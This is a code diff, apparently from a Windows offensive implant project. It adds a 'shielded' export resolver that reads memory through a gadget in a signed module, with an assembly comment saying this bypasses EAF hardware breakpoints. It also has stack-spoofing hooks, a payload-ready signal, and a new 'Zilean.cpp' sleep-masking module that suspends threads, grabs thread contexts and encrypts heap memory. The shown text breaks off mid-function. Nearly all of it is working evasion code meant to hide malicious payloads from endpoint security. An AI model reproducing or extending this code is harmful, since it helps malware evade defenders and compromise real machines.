Memory = (ULONG_PTR)Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")) + 0x1000;
for (ULONG_PTR Len = 0; Len < 0x1000 * 0x1000; Len++) {
if (Primitive::MemoryCompare((PVOID)(Memory + Len), Pattern, sizeof(Pattern)) == 0) {
return (PVOID)(Memory + Len);
}
}
return nullptr;
}
/*================================================ /*================================================
@ LdrGetSymbolByHash Function @ LdrGetSymbolByHash Function
# Parses the export directory of the given module # Parses the export directory of the given module
@@ -50,53 +69,54 @@ PVOID Resolver::LdrGetModuleByHash(
# the provided hash. Handles forwarded exports # the provided hash. Handles forwarded exports
# recursively via WorkItemProxyLoadLibrary # recursively via WorkItemProxyLoadLibrary
================================================*/ ================================================*/
PVOID Resolver::LdrGetSymbolByHash( PVOID Resolver::LdrShieldedSymbolResolveByHash(
_In_ PVOID pModule, _In_ PVOID pModule,
_In_ ULONG uFunctionHash _In_ ULONG uFunctionHash
) { ) {
if (!pModule || !uFunctionHash) { if (!pModule || !uFunctionHash) {
#ifdef DEBUG #ifdef DEBUG
DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); DBGPRINT("[-] LdrShieldedSymbolResolveByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__);
#endif #endif
return nullptr; return nullptr;
} }
//------------------------------------------------------------------------- PVOID Gadget = FindShieldGadget();
if (!Gadget)
/* Avoid casting to PBYTE each time */
PBYTE BaseAddress = (PBYTE)pModule;
/* Fetch the NT headers and do a signature check */
auto Nt = (PIMAGE_NT_HEADERS)(BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew);
if (Nt->Signature != IMAGE_NT_SIGNATURE)
return nullptr; return nullptr;
/* Fetch the export cirectory and the size of it */ PBYTE BaseAddress = (PBYTE)pModule;
auto ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(BaseAddress + Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
auto ExportSize = Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
/* Fetch the function's name & address & ordinal pointers */ auto Nt = (PIMAGE_NT_HEADERS)(BaseAddress + (DWORD)ShieldedRead((ULONG_PTR) & ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew, (ULONG_PTR)Gadget));
auto AddressOfFunctions = (PDWORD)(BaseAddress + ExportDirectory->AddressOfFunctions); if ((DWORD)ShieldedRead((ULONG_PTR)&Nt->Signature, (ULONG_PTR)Gadget) != IMAGE_NT_SIGNATURE)
auto AddressOfNames = (PDWORD)(BaseAddress + ExportDirectory->AddressOfNames); return nullptr;
auto AddressOfOrdinals = (PWORD)(BaseAddress + ExportDirectory->AddressOfNameOrdinals);
/* Iterate through exported functions */ auto ExportRva = (DWORD)ShieldedRead((ULONG_PTR)&Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, (ULONG_PTR)Gadget);
for (int i = 0; i < ExportDirectory->NumberOfNames; i++) { auto ExportSize = (DWORD)ShieldedRead((ULONG_PTR)&Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size, (ULONG_PTR)Gadget);
PCHAR FunctionName = (PCHAR)(BaseAddress + AddressOfNames[i]); auto ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(BaseAddress + ExportRva);
PVOID FunctionVA = (PVOID)(BaseAddress + AddressOfFunctions[AddressOfOrdinals[i]]); auto AddressOfFunctions = (PDWORD)(BaseAddress + (DWORD)ShieldedRead((ULONG_PTR)&ExportDirectory->AddressOfFunctions, (ULONG_PTR)Gadget));
auto AddressOfNames = (PDWORD)(BaseAddress + (DWORD)ShieldedRead((ULONG_PTR)&ExportDirectory->AddressOfNames, (ULONG_PTR)Gadget));
auto AddressOfOrdinals = (PWORD)(BaseAddress + (DWORD)ShieldedRead((ULONG_PTR)&ExportDirectory->AddressOfNameOrdinals, (ULONG_PTR)Gadget));
auto NumberOfNames = (DWORD)ShieldedRead((ULONG_PTR)&ExportDirectory->NumberOfNames, (ULONG_PTR)Gadget);
for (DWORD i = 0; i < NumberOfNames; i++) {
DWORD NameRva = (DWORD)ShieldedRead((ULONG_PTR)&AddressOfNames[i], (ULONG_PTR)Gadget);
PCHAR FunctionName = (PCHAR)(BaseAddress + NameRva);
/* Check if hashes match */
if (Hash::ExprHashStrDjb2(FunctionName) == uFunctionHash) { if (Hash::ExprHashStrDjb2(FunctionName) == uFunctionHash) {
/* Handle forwarded functions */ WORD Ordinal = (WORD)ShieldedRead((ULONG_PTR)&AddressOfOrdinals[i], (ULONG_PTR)Gadget);
DWORD FuncRva = (DWORD)ShieldedRead((ULONG_PTR)&AddressOfFunctions[Ordinal], (ULONG_PTR)Gadget);
PVOID FunctionVA = (PVOID)(BaseAddress + FuncRva);
ULONG_PTR FunctionAddress = (ULONG_PTR)FunctionVA; ULONG_PTR FunctionAddress = (ULONG_PTR)FunctionVA;
ULONG_PTR ExportBeginning = (ULONG_PTR)ExportDirectory; ULONG_PTR ExportBeginning = (ULONG_PTR)ExportDirectory;
ULONG_PTR ExportEnd = ExportBeginning + ExportSize; ULONG_PTR ExportEnd = ExportBeginning + ExportSize;
if (FunctionAddress >= ExportBeginning && FunctionAddress < ExportEnd) { if (FunctionAddress >= ExportBeginning && FunctionAddress < ExportEnd) {
#ifdef DEBUG #ifdef DEBUG
DBGPRINT("[i] LdrGetSymbolByHash -> [%s] Is A Forwarded Function \n", FunctionName); DBGPRINT("[i] LdrShieldedSymbolResolveByHash -> [%s] Is A Forwarded Function \n", FunctionName);
#endif #endif
CHAR Forwarder[MAX_PATH] = { 0 }; CHAR Forwarder[MAX_PATH] = { 0 };
WCHAR WidePath[MAX_PATH] = { 0 }; WCHAR WidePath[MAX_PATH] = { 0 };
@@ -107,9 +127,7 @@ PVOID Resolver::LdrGetSymbolByHash(
Primitive::MemoryCopy(Forwarder, (PVOID)FunctionAddress, Primitive::StringLength((PCHAR)FunctionAddress)); Primitive::MemoryCopy(Forwarder, (PVOID)FunctionAddress, Primitive::StringLength((PCHAR)FunctionAddress));
for (DWORD j = 0; j < Primitive::StringLength((PCHAR)Forwarder); j++) { for (DWORD j = 0; j < Primitive::StringLength((PCHAR)Forwarder); j++) {
if (((PCHAR)Forwarder)[j] == '.') { if (((PCHAR)Forwarder)[j] == '.') {
Offset = j; Offset = j;
Forwarder[j] = '\0'; Forwarder[j] = '\0';
break; break;
@@ -119,20 +137,18 @@ PVOID Resolver::LdrGetSymbolByHash(
PFunctionMod = Forwarder; PFunctionMod = Forwarder;
PFunctionName = Forwarder + Offset + 1; PFunctionName = Forwarder + Offset + 1;
/* Convert ansi name to unicode */
Primitive::AnsiToWide(PFunctionMod, WidePath, MAX_PATH); Primitive::AnsiToWide(PFunctionMod, WidePath, MAX_PATH);
PVOID ForwardedMod = Proxy::WorkItemLoadLibrary(WidePath); PVOID ForwardedMod = Proxy::WorkItemLoadLibrary(WidePath);
return LdrGetSymbolByHash(ForwardedMod, Hash::ExprHashStrDjb2(PFunctionName)); return LdrShieldedSymbolResolveByHash(ForwardedMod, Hash::ExprHashStrDjb2(PFunctionName));
} }
/* If it's not a forwarded function, return the address directly */
return (FARPROC)FunctionAddress; return (FARPROC)FunctionAddress;
} }
} }
#ifdef DEBUG #ifdef DEBUG
DBGPRINT("[-] LdrGetSymbolByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__); DBGPRINT("[-] LdrShieldedSymbolResolveByHash Failed At Hash -> 0x%0.8X - %s.%d \n", uFunctionHash, GET_FILENAME(__FILE__), __LINE__);
#endif #endif
return nullptr; return nullptr;
} }
+5 -2
View File
@@ -17,7 +17,7 @@ BOOL StackSpoof::FlushFunctionTableCache(
OUT PDWORD pdwOld OUT PDWORD pdwOld
) { ) {
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionTable")); ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionTable"));
BYTE Buffer[128] = { 0 }; BYTE Buffer[128] = { 0 };
Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer));
@@ -66,7 +66,7 @@ BOOL StackSpoof::FlushFunctionEntryCache(
OUT PDWORD pdwOld OUT PDWORD pdwOld
) { ) {
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
BYTE Buffer[128] = { 0 }; BYTE Buffer[128] = { 0 };
Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer));
@@ -428,6 +428,9 @@ ULONG_PTR StackSpoof::ExecuteWithSpoofedStack(
typedef ULONG_PTR(*fnShadowGate)(PSHADOWGATE_PARAMS); typedef ULONG_PTR(*fnShadowGate)(PSHADOWGATE_PARAMS);
fnShadowGate pCopiedGate = (fnShadowGate)((ULONG_PTR)pModule + dwGateRva); fnShadowGate pCopiedGate = (fnShadowGate)((ULONG_PTR)pModule + dwGateRva);
if (g_PayloadReady)
g_Win32.Nt.NtSetEvent(g_PayloadReady, nullptr);
ULONG_PTR Result = pCopiedGate(pParams); ULONG_PTR Result = pCopiedGate(pParams);
#ifdef DEBUG #ifdef DEBUG
+1 -1
View File
@@ -17,7 +17,7 @@ ULONG_PTR StackUtils::ResolveThreadStackOrigin(
OUT PULONG_PTR puStackPointer OUT PULONG_PTR puStackPointer
) { ) {
/* Find BTIT address */ /* Find BTIT address */
PVOID Btit = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")), Hash::ExprHashStrDjb2("BaseThreadInitThunk")); PVOID Btit = Resolver::LdrShieldedSymbolResolveByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")), Hash::ExprHashStrDjb2("BaseThreadInitThunk"));
if (Btit == nullptr) { if (Btit == nullptr) {
#ifdef DEBUG #ifdef DEBUG
DBGPRINT("[-] BTIT Return Address Not Found - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); DBGPRINT("[-] BTIT Return Address Not Found - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
+25
View File
@@ -0,0 +1,25 @@
; Unguard.asm
.code
; RCX = Target address to dereference
; RDX = Gadget address (MOV RAX, [RAX]; RET inside a signed module)
; RAX = Dereferenced value
;
; If RDX is NULL, performs a normal read from the current context.
; If RDX is non-NULL, jumps to the gadget so the read occurs
; inside a legitimate module frame — bypassing EAF hardware breakpoints.
ShieldedRead PROC
test rdx, rdx ; Check if gadget is provided
jz DirectRead
mov rax, rcx ; RAX = target address
jmp rdx ; Jump to gadget (MOV RAX, [RAX]; RET)
DirectRead:
mov rax, [rcx] ; Normal dereference
ret
ShieldedRead ENDP
END
+9 -9
View File
@@ -301,7 +301,7 @@ BOOL Unwinder::ResolveDynamicFunctionTablePtrs(
SIZE_T NtdllSize = Nt->OptionalHeader.SizeOfImage; SIZE_T NtdllSize = Nt->OptionalHeader.SizeOfImage;
/* Find RtlAddFunctionTable's address */ /* Find RtlAddFunctionTable's address */
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
if (!FnAddress) if (!FnAddress)
return FALSE; return FALSE;
@@ -459,14 +459,14 @@ BOOL Unwinder::LocateInvertedFunctionTable(
Some Windows builds export this table directly Some Windows builds export this table directly
fastest path - if found, no pattern scan needed fastest path - if found, no pattern scan needed
*/ */
ULONG_PTR TableAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("KiUserInvertedFunctionTable")); ULONG_PTR TableAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("KiUserInvertedFunctionTable"));
/* Step 2: Read RtlLookupFunctionEntry's machine code /* Step 2: Read RtlLookupFunctionEntry's machine code
This function is called during stack walks This function is called during stack walks
internally it calls RtlpxLookupFunctionTable internally it calls RtlpxLookupFunctionTable
we find that CALL to learn the inner function's address we find that CALL to learn the inner function's address
*/ */
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
if (!FnAddress) if (!FnAddress)
return FALSE; return FALSE;
@@ -538,7 +538,7 @@ BOOL Unwinder::LocateInvertedFunctionTable(
CALL RtlAcquireSRWLockShared <- Acquire lock CALL RtlAcquireSRWLockShared <- Acquire lock
*/ */
ULONG_PTR LockAddress = 0; ULONG_PTR LockAddress = 0;
ULONG_PTR AcquireShared = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockShared")); ULONG_PTR AcquireShared = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockShared"));
for (int i = 5; i < 1019; i++) { for (int i = 5; i < 1019; i++) {
@@ -631,7 +631,7 @@ BOOL Unwinder::ResolveLdrMrdataProtector(
OUT fnLdrProtectMrdata* pOutFnPtr OUT fnLdrProtectMrdata* pOutFnPtr
) { ) {
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
BYTE Buffer[512] = { 0 }; BYTE Buffer[512] = { 0 };
Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer));
@@ -680,8 +680,8 @@ BOOL Unwinder::CollapseInvertedTableEntry(
PRTL_SRWLOCK SrwLock = nullptr; PRTL_SRWLOCK SrwLock = nullptr;
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
fnLdrProtectMrdata LdrProtectMrData = nullptr; fnLdrProtectMrdata LdrProtectMrData = nullptr;
Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData); Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData);
@@ -850,8 +850,8 @@ BOOL Unwinder::ExpandInvertedTableEntry(
PRTL_SRWLOCK SrwLock = nullptr; PRTL_SRWLOCK SrwLock = nullptr;
PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll"));
auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
fnLdrProtectMrdata LdrProtectMrData = nullptr; fnLdrProtectMrdata LdrProtectMrData = nullptr;
Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData); Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData);
+638
View File
@@ -0,0 +1,638 @@
/* Zilean.cpp */
#include <Windows.h>
#include <intrin.h>
#include "Structs.h"
#include "Primitives.h"
#include "Common.h"
#include "Debug.h"
/*================================================
@ XorCipher
# XOR-encrypts or decrypts a memory region in-place
# using a rolling key. Symmetric — call again with
# the same key to reverse the operation
================================================*/
VOID XorCipher(
_In_ PBYTE pData,
_In_ SIZE_T sSize,
_In_ PBYTE pKey,
_In_ SIZE_T sKeySize
) {
for (SIZE_T i = 0, j = 0; i < sSize; i++, j++) {
if (j >= sKeySize)
j = 0;
if (i % 2 == 0)
pData[i] = pData[i] ^ pKey[j];
else
pData[i] = pData[i] ^ pKey[j] ^ j;
}
}
/*================================================
@ Random32
# Generates a pseudo-random 32-bit value derived
# from KUSER_SHARED_DATA interrupt time fields
================================================*/
ULONG Random32() {
UINT32 Seed = 0;
_rdrand32_step(&Seed);
return Seed;
}
/*================================================
@ SuspendThreads
# Enumerates all threads in the current process
# via NtQuerySystemInformation and suspends every
# thread except the caller
================================================*/
BOOL SuspendThreads(
_In_ DWORD dwWorkerThreadId
) {
ULONG ReturnLength1 = 0;
ULONG ReturnLength2 = 0;
PSYSTEM_PROCESS_INFORMATION SystemInfo = nullptr;
PVOID TempValue = nullptr;
HANDLE ThreadHandle = nullptr;
NTSTATUS Status = STATUS_SUCCESS;
BOOL Success = FALSE;
DWORD CurrentPid = GetCurrentProcessId();
DWORD CurrentTid = GetCurrentThreadId();
/* Call NtQuerySystemInformation for the first time, which will fail with 'STATUS_INFO_LENGTH_MISMATCH' */
if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, nullptr, 0, &ReturnLength1)) != STATUS_SUCCESS && Status != STATUS_INFO_LENGTH_MISMATCH) {
#ifdef DEBUG
DBGPRINT("[-] NtQuerySystemInformation Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Allocate buffer of size 'ReturnLength1' */
SystemInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)ReturnLength1);
if (SystemInfo == nullptr) {
#ifdef DEBUG
DBGPRINT("[-] HeapAlloc Failed With Error -> %d - %s.%d \n", GetLastError(), GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
TempValue = SystemInfo;
/* Call NtQuerySystemInformation again with correct arguments */
if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, SystemInfo, ReturnLength1, &ReturnLength2)) != STATUS_SUCCESS) {
#ifdef DEBUG
DBGPRINT("[-] NtQuerySystemInformation[2] Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Iterate through process list */
while (TRUE) {
/* Find local process */
if ((DWORD)SystemInfo->UniqueProcessId == CurrentPid) {
/* Iterate through thread list */
for (int i = 0; i < SystemInfo->NumberOfThreads; i++) {
DWORD ThreadId = (DWORD)SystemInfo->Threads[i].ClientId.UniqueThread;
/* Skip local & worker thread */
if (ThreadId == CurrentTid || ThreadId == dwWorkerThreadId)
continue;
/* Open a handle to thread */
CLIENT_ID Cid = {
.UniqueProcess = (HANDLE)CurrentPid,
.UniqueThread = (HANDLE)ThreadId
};
OBJECT_ATTRIBUTES Oa = { sizeof(OBJECT_ATTRIBUTES) };
if (!NT_SUCCESS(Status = g_Win32.Nt.NtOpenThread(&ThreadHandle, THREAD_ALL_ACCESS, &Oa, &Cid)))
continue;
/* Suspend threads */
g_Win32.Nt.NtSuspendThread(
ThreadHandle,
nullptr
);
Macro::DeleteHandle(ThreadHandle);
}
break;
}
/* If NextEntryOffset is 0, that means we've reached the end */
if (!SystemInfo->NextEntryOffset)
break;
/* Move to the next entry */
SystemInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemInfo + SystemInfo->NextEntryOffset);
}
Success = TRUE;
Leave:
if (TempValue) {
Macro::DeletePtr(TempValue);
}
if (ThreadHandle) {
Macro::DeleteHandle(ThreadHandle);
}
return Success;
}
/*================================================
@ ResumeThreads
# Resumes all previously suspended threads by
# reversing the SuspendThreads operation
================================================*/
BOOL ResumeThreads(
_In_ DWORD dwWorkerThreadId
) {
ULONG ReturnLength1 = 0;
ULONG ReturnLength2 = 0;
PSYSTEM_PROCESS_INFORMATION SystemInfo = nullptr;
PVOID TempValue = nullptr;
HANDLE ThreadHandle = nullptr;
NTSTATUS Status = STATUS_SUCCESS;
BOOL Success = FALSE;
DWORD CurrentPid = GetCurrentProcessId();
DWORD CurrentTid = GetCurrentThreadId();
/* Call NtQuerySystemInformation for the first time, which will fail with 'STATUS_INFO_LENGTH_MISMATCH' */
if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, nullptr, 0, &ReturnLength1)) != STATUS_SUCCESS && Status != STATUS_INFO_LENGTH_MISMATCH) {
#ifdef DEBUG
DBGPRINT("[-] NtQuerySystemInformation Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Allocate buffer of size 'ReturnLength1' */
SystemInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)ReturnLength1);
if (SystemInfo == nullptr) {
#ifdef DEBUG
DBGPRINT("[-] HeapAlloc Failed With Error -> %d - %s.%d \n", GetLastError(), GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
TempValue = SystemInfo;
/* Call NtQuerySystemInformation again with correct arguments */
if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, SystemInfo, ReturnLength1, &ReturnLength2)) != STATUS_SUCCESS) {
#ifdef DEBUG
DBGPRINT("[-] NtQuerySystemInformation[2] Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Iterate through process list */
while (TRUE) {
/* Find local process */
if ((DWORD)SystemInfo->UniqueProcessId == CurrentPid) {
/* Iterate through thread list */
for (int i = 0; i < SystemInfo->NumberOfThreads; i++) {
DWORD ThreadId = (DWORD)SystemInfo->Threads[i].ClientId.UniqueThread;
/* Skip local & worker thread */
if (ThreadId == CurrentTid || ThreadId == dwWorkerThreadId)
continue;
/* Open a handle to thread */
CLIENT_ID Cid = {
.UniqueProcess = (HANDLE)CurrentPid,
.UniqueThread = (HANDLE)ThreadId
};
OBJECT_ATTRIBUTES Oa = { sizeof(OBJECT_ATTRIBUTES) };
if (!NT_SUCCESS(Status = g_Win32.Nt.NtOpenThread(&ThreadHandle, THREAD_ALL_ACCESS, &Oa, &Cid)))
continue;
/* Resume threads */
g_Win32.Nt.NtResumeThread(
ThreadHandle,
nullptr
);
Macro::DeleteHandle(ThreadHandle);
}
break;
}
/* If NextEntryOffset is 0, that means we've reached the end */
if (!SystemInfo->NextEntryOffset)
break;
/* Move to the next entry */
SystemInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemInfo + SystemInfo->NextEntryOffset);
}
Success = TRUE;
Leave:
if (TempValue) {
Macro::DeletePtr(TempValue);
}
if (ThreadHandle) {
Macro::DeleteHandle(ThreadHandle);
}
return Success;
}
BOOL GetRandomThreadContext(
OUT PCONTEXT pCtx
) {
ULONG ReturnLength1 = 0;
ULONG ReturnLength2 = 0;
PSYSTEM_PROCESS_INFORMATION SystemInfo = nullptr;
PVOID TempValue = nullptr;
HANDLE ThreadHandle = nullptr;
NTSTATUS Status = STATUS_SUCCESS;
BOOL Success = FALSE;
DWORD CurrentPid = GetCurrentProcessId();
DWORD CurrentTid = GetCurrentThreadId();
/* Call NtQuerySystemInformation for the first time, which will fail with 'STATUS_INFO_LENGTH_MISMATCH' */
if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, nullptr, 0, &ReturnLength1)) != STATUS_SUCCESS && Status != STATUS_INFO_LENGTH_MISMATCH) {
#ifdef DEBUG
DBGPRINT("[-] NtQuerySystemInformation Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Allocate buffer of size 'ReturnLength1' */
SystemInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)ReturnLength1);
if (SystemInfo == nullptr) {
#ifdef DEBUG
DBGPRINT("[-] HeapAlloc Failed With Error -> %d - %s.%d \n", GetLastError(), GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
TempValue = SystemInfo;
/* Call NtQuerySystemInformation again with correct arguments */
if ((Status = g_Win32.Nt.NtQuerySystemInformation(SystemProcessInformation, SystemInfo, ReturnLength1, &ReturnLength2)) != STATUS_SUCCESS) {
#ifdef DEBUG
DBGPRINT("[-] NtQuerySystemInformation[2] Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__);
#endif
goto Leave;
}
/* Iterate through process list */
while (TRUE) {
/* Find local process */
if ((DWORD)SystemInfo->UniqueProcessId == CurrentPid) {
/* Iterate through thread list */
for (int i = 0; i < SystemInfo->NumberOfThreads; i++) {
DWORD ThreadId = (DWORD)SystemInfo->Threads[i].ClientId.UniqueThread;
/* Skip local thread */
if (ThreadId == CurrentTid)
continue;
/* Open a handle to thread */
CLIENT_ID Cid = {
.UniqueProcess = (HANDLE)CurrentPid,
.UniqueThread = (HANDLE)ThreadId
};
OBJECT_ATTRIBUTES Oa = {sizeof(OBJECT_ATTRIBUTES)};
if (!NT_SUCCESS(Status = g_Win32.Nt.NtOpenThread(&ThreadHandle, THREAD_ALL_ACCESS, &Oa, &Cid)))
continue;
/* Get the context */
pCtx->ContextFlags = CONTEXT_ALL;
if (!NT_SUCCESS(Status = g_Win32.Nt.NtGetContextThread(ThreadHandle, pCtx))) {
Macro::DeleteHandle(ThreadHandle);
continue;
}
break;
}
break;
}
/* If NextEntryOffset is 0, that means we've reached the end */
if (!SystemInfo->NextEntryOffset)
break;
/* Move to the next entry */
SystemInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemInfo + SystemInfo->NextEntryOffset);
}
Success = TRUE;
Leave:
if (TempValue) {
Macro::DeletePtr(TempValue);
}
if (ThreadHandle) {
Macro::DeleteHandle(ThreadHandle);
}
return Success;
}
/*================================================
@ MaskHeap
# Walks the process heap via HeapWalk and encrypts
# all busy allocations using SystemFunction032 (RC4)
# Symmetric — call again to decrypt
================================================*/
struct KEY {
BYTE EncryptionKey[16];
};
VOID MaskHeap(
_In_ KEY& Key,
_In_ DWORD dwWorkerThreadId,
_In_ BOOL bStart
) {
PROCESS_HEAP_ENTRY HeapEntry = { 0 };
ULONG NumberOfHeaps = { 0 };
PVOID ProcessHeaps[256] = { 0 };
NumberOfHeaps = GetProcessHeaps(0, 0);
if (NumberOfHeaps > 256)
NumberOfHeaps = 256;
NumberOfHeaps = GetProcessHeaps(NumberOfHeaps, ProcessHeaps);
if (bStart) {
for (int i = 0; i < sizeof(Key.EncryptionKey); i++) {
Key.EncryptionKey[i] = Random32();
}
if (!SuspendThreads(dwWorkerThreadId)) {
return;
}
} else {
if (!ResumeThreads(dwWorkerThreadId)) {
return;
}
}
for (int i = 0; i < NumberOfHeaps; ++i) {
if (ProcessHeaps[i] == GetProcessHeap()) {
continue;
}
RtlSecureZeroMemory(&HeapEntry, sizeof(PROCESS_HEAP_ENTRY));
while (g_Win32.K32.HeapWalk(ProcessHeaps[i], &HeapEntry)) {
